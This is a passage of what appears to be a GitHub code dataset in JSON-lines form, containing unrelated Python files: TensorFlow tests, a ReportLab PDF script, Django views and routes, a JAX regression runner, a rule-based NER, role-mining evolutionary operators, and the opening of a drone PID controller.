example is in the right side of the hyperplane (i.e.,\n # < 0) but it is within the [-1,1] margin. There is a 0.5 loss incurred by\n # this example. The 2nd prediction is outside the margin so it incurs no\n # loss at all. The overall (normalized) loss is therefore 0.5/(1+1) = 0.25.\n with session.Session() as sess:\n self.assertAlmostEqual(0.25, sess.run(loss))\n\n def testBinarySVMWithWeights(self):\n target_column = target_column_lib.binary_svm_target(\n weight_column_name=\"weights\")\n predictions = constant_op.constant([[-0.7], [0.2]])\n labels = constant_op.constant([0, 1])\n features = {\"weights\": constant_op.constant([2.0, 10.0])}\n loss = target_column.loss(predictions, labels, features)\n training_loss = target_column.training_loss(predictions, labels, features)\n # Prediction for both examples are in the right side of the hyperplane but\n # within the margin. The (weighted) loss incurred is 2*0.3=0.6 and 10*0.8=8\n # respectively. The overall (normalized) loss is therefore 8.6/12.\n with session.Session() as sess:\n self.assertAlmostEqual(8.6 / 12, sess.run(loss), places=3)\n self.assertAlmostEqual(8.6 / 2, sess.run(training_loss), places=3)\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"DeepRec-AI/DeepRec","sub_path":"tensorflow/contrib/layers/python/layers/target_column_test.py","file_name":"target_column_test.py","file_ext":"py","file_size_in_byte":6894,"program_lang":"python","lang":"en","doc_type":"code","stars":895,"dataset":"github-code","pt":"31"} +{"seq_id":"43492743897","text":"import random\nimport unittest\nfrom StockCalculationMethods import StockClass as stock\n\nclass ApiTestCase(unittest.TestCase):\n\n symbols = [1,2,3,4,5]\n types = [1,2]\n quantities = range(0, 1000, 5)\n prices = [20,69000,78,31.7,8,0,856]\n\n @classmethod\n def test_calculate_divident(self):\n print('\\n')\n for symbol in self.symbols:\n print('Dividend yield for %s:' % symbol,\n stock.calculate_divident(int(symbol),float(random.choice(self.prices))))\n \n @classmethod\n def test_calculate_pe_ratio(self):\n print('\\n')\n for symbol in self.symbols:\n print('P/E Ratio for %s:' % symbol,\n stock.calculate_pe_ratio(int(symbol),float(random.choice(self.prices))))\n\n @classmethod\n # test_record_trade\n def record_trade(self):\n print('\\n')\n for i in range(10):\n stock.record_trade(random.choice(self.symbols), random.choice(self.quantities), random.choice(self.types),\n random.choice(self.prices))\n\n @classmethod\n def test_volume_weighted_stock_price(self):\n print('\\n')\n for symbol in self.symbols:\n print('Stock price for %s:' % symbol,\n stock.volume_weighted_stock_price(int(symbol)))\n\n @classmethod\n def test_GBCE_share_index(self):\n print('\\n')\n print('GBCE:', stock.GBCE_share_index())\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"AkshayaShelke/SuperSimpleStockMarket","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"39930271992","text":"import math as M\np_mass = 0.9382720813 # GeV\ntk = 5000.e-3 # GeV (5 MeV)\n\nE = p_mass + tk\n# pc = M.sqrt(E**2-p_mass**2)\n# print('pc [GeV/c] {}'.format(pc))\n# brho = 3.3356*pc\n# print('brho [T*m] {}'.format(brho))\n\ngamma = 1.+tk/p_mass\ngb = M.sqrt(gamma**2-1)\nbeta = gb/gamma\npc=beta*E\nprint('pc=beta*E [GeV/c] {}'.format(pc))\npc = gb*p_mass\nprint('pc=g*b*m0c2 [Gev/c] {}'.format(pc))\nbrho = 3.1297 * gb\nprint('brho [T*m] {}'.format(brho))\nprint('gamma {}\\nbeta {}\\ng*b {}'.format(gamma,beta,gb))\nprint()\n\nb2 = 1.\nprint('b2 {} b2(scaled) {}'.format(b2,b2/brho))\n","repo_name":"wdklotz/simulinac","sub_path":"py_tests/lorentz_factors.py","file_name":"lorentz_factors.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40612337457","text":"from reportlab.graphics.charts.piecharts import Pie\nfrom reportlab.lib.pagesizes import inch\nfrom reportlab.graphics.charts.legends import Legend\nfrom reportlab.graphics.shapes import Drawing\nfrom reportlab.lib import colors\nfrom reportlab.lib.styles import getSampleStyleSheet\nfrom reportlab.platypus import Paragraph, Spacer, Table, Image\nfrom reportlab.platypus import SimpleDocTemplate\nfrom reportlab.lib.validators import Auto\n\nreport = SimpleDocTemplate(\n \"C:\\\\Users\\\\jcste\\\\googleAutomation\\\\pyAutomate\\\\pyMailPDF\\\\Report.pdf\")\nstyles = getSampleStyleSheet()\nreport_title = Paragraph(\"A Complete Inventory of My Fruit\", styles[\"h1\"])\ntable_data = []\nfruit = {\n \"elderberries\": 1,\n \"figs\": 1,\n \"apples\": 2,\n \"durians\": 3,\n \"bananas\": 5,\n \"cherries\": 8,\n \"grapes\": 13\n}\nfor k, v in fruit.items():\n table_data.append([k, v])\nprint(table_data)\nreport_table = Table(data=table_data)\ntable_style = [('GRID', (0, 0), (-1, -1), 1, colors.black)]\nreport_table = Table(data=table_data, style=table_style, hAlign=\"LEFT\")\n# report.build([report_title, report_table])\n\nreport_pie = Pie(width=3*inch, height=3*inch)\nreport_pie.data = []\nreport_pie.labels = []\nfor fruit_name in sorted(fruit):\n report_pie.data.append(fruit[fruit_name])\n report_pie.labels.append(fruit_name)\nprint(report_pie.data)\n# [2, 5, 8, 3, 1, 1, 13]\nprint(report_pie.labels)\n# ['apples', 'bananas', 'cherries', 'durians', 'elderberries', 'figs', 'grapes']\n\nreport_chart = Drawing()\n\nreport_chart.add(report_pie)\nlegend = Legend()\nlegend.alignment = 'right'\nlegend.x = 150\nlegend.y = 70\nlegend.colorNamePairs = Auto(obj=report_pie)\nreport_chart.add(legend)\n\nreport.build([report_title, report_table, report_chart])\n","repo_name":"jslearns/pyAutomate","sub_path":"PyMailPDF/pyPDF.py","file_name":"pyPDF.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1646105736","text":"from django.urls import path\nfrom greenev.views.user_view import MyTokenObtainPairView,getUserProfile,addAdmin\nfrom greenev.views import user_view as views\n\nfrom rest_framework_simplejwt.views import (\n TokenRefreshView,\n)\n\nurlpatterns=[\npath('', views.allUsers, name='all_users'),\npath('login/', MyTokenObtainPairView.as_view(), name='token_obtain_pair'),\npath('refresh/', TokenRefreshView.as_view(), name='token_refresh'),\npath('add/', views.addAdmin, name='add_admin'),\npath('profil/', views.getUserProfile, name='profile'),\npath('delete//', views.delteUsers, name=\"users_delete\"),\npath('detail//', views.getUserById, name=\"users_detail\"),\npath('update/', views.updateUser, name=\"users_detail\"),\n\n\n]\n","repo_name":"moussaab10/djezzyapp1","sub_path":"greenev/urls/user_url.py","file_name":"user_url.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74981002647","text":"import argparse\n\nimport pandas as pd\nimport numpy as np\n\nimport jax\nimport optax\n\nfrom distributions import HorseshoeLogisticReg, ProbitReg\nfrom execute import run\n\nfrom jax.config import config\n# config.update(\"jax_debug_nans\", True)\nconfig.update(\"jax_enable_x64\", True)\n\n\ndef main(args):\n\n print(\"Loading German credit data...\")\n data = pd.read_table('german.data-numeric', header=None, delim_whitespace=True)\n ### Pre processing data as in NeuTra paper\n y = -1 * (data.iloc[:, -1].values - 2)\n X = data.iloc[:, :-1].apply(lambda x: -1 + (x - x.min()) * 2 / (x.max() - x.min()), axis=0).values\n # X = data.iloc[:, :-1].apply(lambda x: (x - x.mean()) / x.std(), axis=0).values\n X = np.concatenate([np.ones((1000, 1)), X], axis=1)\n N_OBS, N_REG = X.shape\n\n [n_warm, n_iter] = args.sampling_param\n schedule = optax.exponential_decay(init_value=2.5e-3,\n transition_steps=n_warm-10, decay_rate=.1, transition_begin=10)\n optim = optax.adam(schedule)\n\n N_PARAM = N_REG * 2 + 1\n print(\"\\n\\nSetting up German credit logistic horseshoe model...\")\n dist = HorseshoeLogisticReg(X, y)\n\n run(dist, args, optim, N_PARAM, batch_fn=jax.vmap)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--seed\", type=int, default=0)\n parser.add_argument('-m', '--max-iter', type=int, default=1)\n parser.add_argument('-b', '--batch-shape', type=int, nargs=2, default=[4, 32])\n parser.add_argument('-nl', '--non-linearity', type=str, default='relu')\n parser.add_argument('-f', '--flow', type=str, default='coupling')\n parser.add_argument('-d', '--distance', type=str, default='kld')\n parser.add_argument('-nh', '--n-hidden', type=int, default=2)\n parser.add_argument('-nf', '--n-flow', type=int, default=2)\n parser.add_argument('-nb', '--num-bins', type=int, default=None)\n parser.add_argument(\n \"-s\", \"--sampling-param\", type=int, nargs=3,\n help=\"Sampling parameters [n_warm, n_iter]\",\n default=[400, 100]\n )\n parser.add_argument('-np', '--preconditon_iter', type=int, default=400)\n parser.add_argument('-s1', '--init_step_size', type=float, default=None)\n parser.add_argument('-s2', '--p_init_step_size', type=float, default=0.1)\n args = parser.parse_args()\n main(args)","repo_name":"albcab/TESS","sub_path":"german_credit.py","file_name":"german_credit.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"12872008531","text":"import os\n\nimport subprocess\n\nfrom Bio import SeqIO\n\noutdir = '/Nancy/ebushmanova/ENA_gut/alex_runs'\n\ndef get_fasta_ids(fasta, unique):\n ids = set()\n for seq_record in SeqIO.parse(fasta, \"fasta\"):\n str = seq_record.id\n if unique:\n ind = str.rfind('_')\n ids.add(seq_record.id[:ind])\n else:\n ids.add(seq_record.id)\n return ids\n\nfor mode in ['rna', 'meta', 'rnaviral']:\n rep_seq_path = os.path.join(outdir, '{}_rep_seq.fasta'.format(mode))\n all_seqs_path = os.path.join(outdir, '{}_all_seqs.fasta'.format(mode))\n rep_seq = len(get_fasta_ids(rep_seq_path, False))\n rep_seq_ignoring = len(get_fasta_ids(rep_seq_path, True))\n all_seqs = len(get_fasta_ids(all_seqs_path, False))\n all_seqs_ignoring = len(get_fasta_ids(all_seqs_path, True))\n print('{}\\n#rep_seq: {}\\n#rep_seq ignoring _: {}\\n'\n '#all_seqs: {}\\n#all_seqs ignoring _: {}\\n\\n'.\n format(mode, rep_seq, rep_seq_ignoring, all_seqs, all_seqs_ignoring))\n","repo_name":"ablab/metarna","sub_path":"scratches/ENA_gut/mmseqs_stats.py","file_name":"mmseqs_stats.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20545290022","text":"from preprocessing import preproc\ngazetteer = open('cities.lst').read().split('\\n')\n\n\ndef isloc(raw, ind, sent, lemma, pos):\n\n for name in gazetteer:\n if name.split()[0] == lemma:\n return True\n\n if pos == 'NNP' and sent[ind-1][1] in ['IN', 'TO']:\n return True\n\n elif pos == 'NNP':# and sent[ind+1][0] == '-':\n return True\n\n elif 'city' in raw.lower():\n return True\n\n elif 'town' in raw.lower():\n return True\n\n elif lemma[0].isupper() and pos == \"NN\":\n return True\n\n\ndef NER_recursion(ind, sent, lemma, pos):\n\n if ind+1 == len(sent):\n return lemma\n elif sent[ind+1][1] != pos:\n return lemma\n elif sent[ind+1][0].islower():\n return lemma\n else:\n lemma = lemma + ' ' + sent[ind+1][0]\n return NER_recursion(ind+1, sent, lemma, pos)\n\n\ndef find_loc(locs, raw, parsed):\n # for sent in parsed:\n for ind in xrange(len(parsed)):\n el = parsed[ind]\n lemma = el[0]\n pos = el[1]\n if isloc(raw, ind, parsed, lemma, pos):\n name = NER_recursion(ind, parsed, lemma, pos)\n if locs != []:\n locs.append(( locs[-1][0] + len(locs[-1][1].split()) + ind, name))\n else:\n locs.append((ind, name))\n return find_loc(locs, raw, parsed[ind+len(name.split()):])\n return locs\n\n\ndef loc_relation(loc, parsed):\n prev_w = ''\n next_w = ''\n if loc[0] >= 0:\n prev_w = parsed[loc[0]-1][0]\n if loc[0]+1 != len(parsed):\n next_w = parsed[loc[0]+1][0]\n\n if prev_w in ['from', 'leave', 'leaving'] or next_w == '-':\n return 'from'\n elif prev_w in ['to', 'into', 'towards', '-']:\n return 'to'\n\n\nif __name__ == '__main__':\n # Test your stuff.\n\n s1 = 'I am flying from Lviv to New York'\n parsed = preproc(s1)\n locs = [find_loc([], s1, parsed_sent) for parsed_sent in parsed]\n","repo_name":"oksanatkach/rules-bot","sub_path":"NER.py","file_name":"NER.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33958345390","text":"#!/bin/python3\n\nimport os\n\n\n# Complete the maximumPerimeterTriangle function below.\ndef maximumPerimeterTriangle(sticks):\n sticks.sort()\n i = len(sticks) - 3\n while i >= 0:\n if sticks[i] + sticks[i + 1] > sticks[i + 2]:\n return sticks[i:i + 3]\n i -= 1\n else:\n return [-1]\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input())\n\n sticks = list(map(int, input().rstrip().split()))\n\n result = maximumPerimeterTriangle(sticks)\n\n fptr.write(' '.join(map(str, result)))\n fptr.write('\\n')\n\n fptr.close()\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerrank/Algorithms/Maximum Perimeter Triangle/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"14697157301","text":"# coding=utf-8\nimport SocketServer\nimport base64\nimport hashlib\nimport socket\n\nimport sys\nfrom django.shortcuts import render, HttpResponse, HttpResponseRedirect\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom MSP_server.Lora_Receive_thread import ReceiveThread\nfrom MSP_server.Lora_Receive_thread_msp02 import ReceiveThreadMSP02\nfrom MSP_server.main import MSP\nfrom MSP_server.setting import AppEUI\nfrom MSP_server.web_socket_server import Th\n\n\n@csrf_exempt\ndef msp_login(request):\n\t# return HttpResponse(\"success\")\n\tmsp = MSP()\n\ttry:\n\t\tmsp.get_tcp_sock()\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\treturn HttpResponse(\"error\")\n\tres = msp.join_server()\n\n\tif res == 1:\n\t\treturn HttpResponse(\"success\")\n\telse:\n\t\treturn HttpResponse(AppEUI)\n\n\n@csrf_exempt\ndef msp_sendto(request):\n\tmsp = MSP()\n\ttry:\n\t\tmsp.get_tcp_sock()\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\treturn HttpResponse(\"error\")\n\tres = msp.sendto_server(\"004A770203000002\",\"update paramter\", \"false\")\n\tif res == 1:\n\t\treturn HttpResponse(\"success\")\n\telse:\n\t\treturn HttpResponse(\"error\")\n\n\n@csrf_exempt\ndef msp_logout(request):\n\tmsp = MSP()\n\ttry:\n\t\tmsp.get_tcp_sock()\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\treturn HttpResponse(\"error\")\n\tres = msp.quit_server()\n\tif res == 1:\n\t\treturn HttpResponse(\"success\")\n\telse:\n\t\treturn HttpResponse(\"error\")\n\n\n@csrf_exempt\ndef msp_receive_data(request):\n\tmsp = MSP()\n\ttry:\n\t\tmsp.get_tcp_sock()\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\treturn HttpResponse(\"error\")\n\t# res = msp.sendto_cs()\n\n\n\tlog_thread = Th()\n\tlog_thread.start()\n\n\tnew_thread = ReceiveThread(1, log_thread)\n\tnew_thread.start()\n\n\tnew_thread_02 = ReceiveThreadMSP02(1, log_thread)\n\tnew_thread_02.start()\n\tres = 1\n\tif res == 1:\n\t\treturn HttpResponse(\"success\")\n\telse:\n\t\treturn HttpResponse(\"error\")\n\n@csrf_exempt\ndef msp_receive_log(request):\n\ttry:\n\t\tresult = list()\n\t\twith open('./' + \"receive.log\", 'r') as destination:\n\t\t\tline = destination.readline() # 调用文件的 readline()方法\n\t\t\twhile line:\n\t\t\t\tresult.append(line)\n\t\t\t\t# print line, # 后面跟 ',' 将忽略换行符\n\t\t\t\t# print(line, end = '')   # 在 Python 3中使用\n\t\t\t\tline = destination.readline()\n\n\t\t# f.close()\n\t\t# f = open('./MSP_server/receive.log', 'r')\n\t\t# result = list()\n\t\t# for line in f:\n\t\t# \tline = f.readline()\n\t\t# \tprint line\n\t\t# \tresult.append(line)\n\t\t# print result\n\t\t# f.close()\n\texcept Exception as e:\n\t\tprint(str(e))\n\treturn HttpResponse(result)\n","repo_name":"zldevil2011/EnvironmentMonitorProcess","sub_path":"app/views/msp_server.py","file_name":"msp_server.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41436911401","text":"from alpha_vantage.timeseries import TimeSeries\nimport pandas as pd\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\nAPI_KEY = 'GFTVBJ9OZBU5IXA1'\n\ndef get_portfolio_value(df_prices, trades, start_val, commission, impact):\n\n df = trades\n dates = pd.date_range(min(df['Date']), max(df['Date']))\n symbols = df.iloc[0]['Symbol']\n\n # Initialize Cash column\n df_prices['Cash'] = 1\n\n # Fill forwards, then fill back :)\n df_prices.fillna(method='ffill')\n df_prices.fillna(method='bfill')\n\n # make df_trades a copy of df_prices with same index and columns\n df_trades = pd.DataFrame(index=df_prices.index, columns=df_prices.columns)\n\n # make sure df_trades is in chronological order from top to bottom\n df_trades.sort_index()\n\n # initialize everything that is NOT a zero to zero\n df_trades[df_trades != 0] = 0\n\n # day 1 portfolio value is the start value\n df_trades.iloc[0]['Cash'] = start_val\n\n # iterate through each row in the 'df' dataframe...\n for index, row in df.iterrows():\n\n num_shares = row['Shares'] # get the number of shares involved in the sell or buy\n share = row['Symbol'] # get the symbol involved in the sell or buy\n date = row['Date'] # get the date of the sell or buy order\n order_type = row['Order'] # get the order type ('BUY' or 'SELL')\n\n # if the order type is a sell...\n if order_type == 'SELL':\n # the transaction incurs a 0.5% fee of the exit price...so the new price is 99.5% of the original\n price = float(df_prices.loc[date][share] * (1 - impact))\n\n # the number of shares of that company is decreased by the number of shares in the order\n df_trades.loc[date][share] = df_trades.loc[date][share] - num_shares\n\n # and the amount of available cash increases by the price * number of shares being sold\n df_trades.loc[date]['Cash'] = df_trades.loc[date]['Cash'] + (price * num_shares)\n # if the order type is a buy...\n elif order_type == 'BUY':\n # the transaction incurs a 0.5% fee of the entrance price...so the new price is 100.5% of the original\n price = float(df_prices.loc[date][share] * (1 + impact))\n\n # the number of shares of that company is increased by the number of shares in the order\n df_trades.loc[date][share] = df_trades.loc[date][share] + num_shares\n\n # and the amount of available cash decreases by the price * number of shares being purchased\n df_trades.loc[date]['Cash'] = df_trades.loc[date]['Cash'] - (price * num_shares)\n\n # finally, a flat fee of $(commission) is applied to each sell and buy order...\n df_trades.loc[date]['Cash'] -= commission\n # the final values \"holdings\" from the video is the cumulaive sum of the number trades * prices\n values = df_trades.cumsum() * df_prices\n\n # get the sum of the columns to get the values data frame in the correct format\n return pd.DataFrame(values.sum(axis=1))\n\n\ndef get_stats(portvals):\n daily_ret = portvals.copy()\n daily_ret[1:] = (daily_ret[1:] / daily_ret[:-1].values) - 1\n daily_ret = daily_ret[1:]\n\n # Get portfolio statistics (note: std_daily_ret = volatility)\n cr = (portvals.iloc[-1] / portvals.iloc[0]) - 1\n adr = daily_ret.mean().values[0]\n sddr = daily_ret.std().values[0]\n\n # calculate Sharpe Ratio\n sf = 252.0\n rfr = 0.0\n sr = pow(sf, .5) * (daily_ret - rfr).mean() / sddr\n\n return adr, sddr, float(sr), float(cr)\n\n\ndef get_prices(symbols, date_range, addMarket=True):\n # Get closing prices for all symbols\n all_prices = pd.DataFrame(index=date_range)\n # if addMarket and 'SPY' not in symbols:\n # symbols = ['SPY'] + symbols\n for sym in symbols:\n ts = TimeSeries(key=API_KEY, output_format='pandas')\n data, meta_data = ts.get_daily(symbol=sym, outputsize='full')\n data.index = pd.to_datetime(data.index)\n df = data.reindex(date_range)\n y = df['4. close'].to_frame(name=sym)\n all_prices = all_prices.join(y)\n all_prices.dropna(inplace=True)\n return all_prices","repo_name":"mikeyling18/PortfolioOptimization","sub_path":"Impossible-vs-Possible-Strategies/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20094228126","text":"__author__ = 'Theresa Brandt von Fackh'\n\nimport rm_EAInitialization as init\nimport rm_EAOptimizer as optimizer\nimport rm_EADecoder as decoder\nimport MatrixOperators as matrixOps\nimport random\nimport numpy\nfrom collections import Counter\nimport logging\nlogger = logging.getLogger('root')\n\n# -----------------------------------------------------------------------------------\n# Adds a role to a rolemodel\n# -----------------------------------------------------------------------------------\ndef addRole(rolemodel, userSize, permissionSize, alternativeOption,optimization):\n if ((len(rolemodel) < userSize) and (len(rolemodel) < permissionSize)):\n permissionUsage = [0 for i in range(0,permissionSize)]\n userUsage = [0 for i in range(0,userSize)]\n role, userUsage, permissionUsage = init.generateGene_optimized(userUsage, permissionUsage)\n rolemodel.append(role)\n if (optimization[0]):\n rolemodel = optimizer.combineObjects(rolemodel, 1)\n if (optimization[1]):\n rolemodel = optimizer.combineObjects(rolemodel, 0)\n else:\n logger.debug(\"No role could be added, since max. role number is already achieved\")\n if (alternativeOption):\n rolemodel = removeRole(rolemodel, userSize, permissionSize, False, optimization)\n return rolemodel\n\n# -----------------------------------------------------------------------------------\n# Removes a role from a rolemodel\n# -----------------------------------------------------------------------------------\ndef removeRole(rolemodel, userSize, permissionSize, alternativeOption, optimization):\n if (len(rolemodel) > 1):\n # Collect users, which only occur in 1 role in the rolemodel\n userUsage = []\n permissionUsage = []\n for role in rolemodel:\n userUsage += [user for user in role[0]]\n permissionUsage += [permission for permission in role[1]]\n usersWithOneTimeOccurance = [k for k,v in Counter(userUsage).items() if v<2]\n permissionsWithOneTimeOccurance = [k for k,v in Counter(permissionUsage).items() if v<2]\n\n # Select roles, which can be removed\n # A role with a user, which only occurs once in the rolemodel, cannot be removed\n selectedRoles = []\n if (usersWithOneTimeOccurance or permissionsWithOneTimeOccurance):\n for role in rolemodel:\n lastUserOccurance = [u for u in usersWithOneTimeOccurance if u in role[0]]\n lastPermissionOccurance = [p for p in permissionsWithOneTimeOccurance if p in role[1]]\n if (len(lastUserOccurance) <= 0 and len(lastPermissionOccurance) <= 0):\n selectedRoles.append(role)\n else:\n selectedRoles = rolemodel\n\n # Remove a role from the selected roles\n if (selectedRoles):\n role = selectedRoles[random.randint(0, len(selectedRoles)-1)]\n rolemodel.remove(role)\n else:\n logger.debug(\"No role could be removed, since all roles contain at least one user, which does not occur in other roles\")\n if (alternativeOption):\n rolemodel = addRole(rolemodel, userSize, permissionSize, False, optimization)\n else:\n logger.debug(\"No role could be removed, since the rolemodel only contains one role\")\n if (alternativeOption):\n rolemodel = addRole(rolemodel, userSize, permissionSize, False, optimization)\n return rolemodel\n\n# -----------------------------------------------------------------------------------\n# Removes an user from a role\n# -----------------------------------------------------------------------------------\ndef removeUser(rolemodel, userSize, alternativeOption,optimization):\n # Collect users, which only occur in 1 role in the rolemodel\n userUsage = []\n for role in rolemodel:\n userUsage += [user for user in role[0]]\n usersWithOneTimeOccurance = [k for k,v in Counter(userUsage).items() if v<2]\n\n # Select roles, which contain more than one user\n selectedRoles = [role for role in rolemodel if (len(role[0]) > 1)]\n\n userRemoved = False\n while(selectedRoles and not userRemoved):\n index = random.randint(0, len(selectedRoles)-1)\n role = selectedRoles.pop(index)\n selectedUsers = [user for user in role[0] if user not in usersWithOneTimeOccurance]\n if(selectedUsers):\n # Remove a user from the selected users of the selected roles\n user = selectedUsers[random.randint(0, len(selectedUsers)-1)]\n role[0].remove(user)\n if (optimization[1]):\n rolemodel = optimizer.combineObjects(rolemodel, 0)\n userRemoved = True\n\n if (not userRemoved):\n logger.debug(\"No user could be removed, since all roles only contain one user or users, which only occur once in the rolemodel\")\n if (alternativeOption):\n rolemodel = addUser(rolemodel, userSize, False, optimization)\n\n return rolemodel\n\n# -----------------------------------------------------------------------------------\n# Removes a permission from a role\n# -----------------------------------------------------------------------------------\ndef removePermission(rolemodel, permissionSize, alternativeOption,optimization):\n\n # Collect permissions, which only occur in 1 role in the rolemodel\n permissionUsage = []\n for role in rolemodel:\n permissionUsage += [permission for permission in role[1]]\n permissionsWithOneTimeOccurance = [k for k,v in Counter(permissionUsage).items() if v<2]\n\n # Select roles, which contain more than one permission\n selectedRoles = [role for role in rolemodel if (len(role[1]) > 1)]\n\n permissionRemoved = False\n while(selectedRoles and not permissionRemoved):\n index = random.randint(0, len(selectedRoles)-1)\n role = selectedRoles.pop(index)\n selectedPermissions = [permission for permission in role[1] if permission not in permissionsWithOneTimeOccurance]\n if(selectedPermissions):\n # Remove a user from the selected users of the selected roles\n permission = selectedPermissions[random.randint(0, len(selectedPermissions)-1)]\n role[1].remove(permission)\n if (optimization[0]):\n rolemodel = optimizer.combineObjects(rolemodel, 1)\n permissionRemoved = True\n\n if (not permissionRemoved):\n logger.debug(\"No permission could be removed, since all roles only contain one permission or permissions, which only occur once in the rolemodel\")\n if (alternativeOption):\n rolemodel = addPermission(rolemodel, permissionSize, False, optimization)\n\n return rolemodel\n\n# -----------------------------------------------------------------------------------\n# Add an user from a role\n# -----------------------------------------------------------------------------------\ndef addUser(rolemodel, userSize, alternativeOption,optimization):\n # Select roles, which do not have all permissions\n selectedRoles = [role for role in rolemodel if len(role[0]): \"+str(individual[0]))\n\n return individual,\n\n# -----------------------------------------------------------------------------------\n# Mutation Function, which allows invalid rolemodels\n# -----------------------------------------------------------------------------------\ndef mutFunc_old(individual, addRolePB, removeRolePB, removeUserPB, removePermissionPB, addUserPB, addPermissionPB, userSize, permissionSize, optimization):\n #print(\"Mutation: \"+str(individual[0]))\n if (random.random() < addRolePB) and (len(individual[0]) < userSize) and (len(individual[0]) < permissionSize):\n permissionUsage = [0 for i in range(0,permissionSize)]\n userUsage = [0 for i in range(0,userSize)]\n gene, userUsage, permissionUsage = init.generateGene_optimized(userUsage, permissionUsage)\n individual[0].append(gene)\n if (optimization[0]):\n individual[0] = optimizer.combineObjects(individual[0], 1)\n if (optimization[1]):\n individual[0] = optimizer.combineObjects(individual[0], 0)\n if ((len(individual[0]) > 1) and (random.random() < removeRolePB)):\n role = random.randint(0, len(individual[0]) - 1)\n del individual[0][role]\n if random.random() < removeUserPB:\n role = individual[0][random.randint(0, len(individual[0]) - 1)]\n if (len(role[0]) > 1):\n # Remove exactly 1 user\n user = random.sample(role[0],1)[0]\n role[0].remove(user)\n if (optimization[1]):\n individual[0] = optimizer.combineObjects(individual[0], 0)\n if random.random() < removePermissionPB:\n role = individual[0][random.randint(0, len(individual[0]) - 1)]\n if (len(role[1]) > 1):\n # Remove exactly 1 permission\n role[1].remove(random.sample(role[1],1)[0])\n if (optimization[0]):\n individual[0] = optimizer.combineObjects(individual[0], 1)\n if random.random() < addUserPB:\n # Pick random gene (role)\n role = individual[0][random.randint(0, len(individual[0]) - 1)]\n userCnt = len(role[0])\n if (userCnt < userSize):\n # Add exactly 1 user, if the role does not already contain all users\n user = random.randint(0, userSize-1)\n while (user in role[0]):\n user = random.randint(0, userSize-1)\n role[0].add(user)\n if (optimization[1]):\n individual[0] = optimizer.combineObjects(individual[0], 0)\n if random.random() < addPermissionPB:\n role = individual[0][random.randint(0, len(individual[0]) - 1)]\n permissionCnt = len(role[1])\n if (permissionCnt < permissionSize):\n permission = random.randint(0, permissionSize-1)\n while (permission in role[1]):\n permission = random.randint(0, permissionSize-1)\n role[1].add(permission)\n if (optimization[0]):\n individual[0] = optimizer.combineObjects(individual[0], 1)\n return individual,\n\n# -----------------------------------------------------------------------------------\n# Crossover Function\n# -----------------------------------------------------------------------------------\ndef mateFunc(ind1, ind2,optimization):\n #logger.debug(\"Crossover\")\n temp1 = ind1[0]\n temp2 = ind2[0]\n size = min(len(temp1), len(temp2))\n if size > 1:\n cxpoint = random.randint(1, size - 1)\n temp1[cxpoint:], temp2[cxpoint:] = temp2[cxpoint:], temp1[cxpoint:]\n if (optimization):\n temp1 = optimizer.localOptimization(temp1)\n temp2 = optimizer.localOptimization(temp2)\n return ind1, ind2\n\n# -----------------------------------------------------------------------------------\n# Crossover Function\n# -----------------------------------------------------------------------------------\ndef mateFunc_old(ind1, ind2,optimization):\n logger.debug(\"Crossover\")\n temp1 = ind1[0]\n temp2 = ind2[0]\n size = min(len(temp1), len(temp2))\n if size > 1:\n cxpoint = random.randint(1, size - 1)\n temp1[cxpoint:], temp2[cxpoint:] = temp2[cxpoint:], temp1[cxpoint:]\n if (optimization):\n temp1 = optimizer.localOptimization(temp1)\n temp2 = optimizer.localOptimization(temp2)\n return ind1, ind2\n","repo_name":"traysa/Evo-Role-Miner","sub_path":"Sourcecode/rm_EAOperators.py","file_name":"rm_EAOperators.py","file_ext":"py","file_size_in_byte":14820,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27971392620","text":"#! /usr/bin/env python3\n# Giving default PID values incase no input from user\n\n\"\"\"\n #> - means that the particular value needs to be changed while tuning\n\n d(X) = Derivative\n dd(X) = Double Derivative\n _mat = Matrix\n\"\"\"\n\nfrom moment_desired import *\nfrom moment_force_allocation import *\nfrom math import sqrt\nfrom math import atan2\nimport time\nimport numpy as np \nimport rospy\nfrom speed import *\nfrom std_msgs.msg import Float64, Float64MultiArray\nfrom mav_msgs.msg import Actuators\n\n\nkp_x = 0.1\n\nki_x = 0.0001\n\nkd_x = 0.75\n\nkp_y = 0.15\n\nki_y = 0.0001\n\nkd_y = 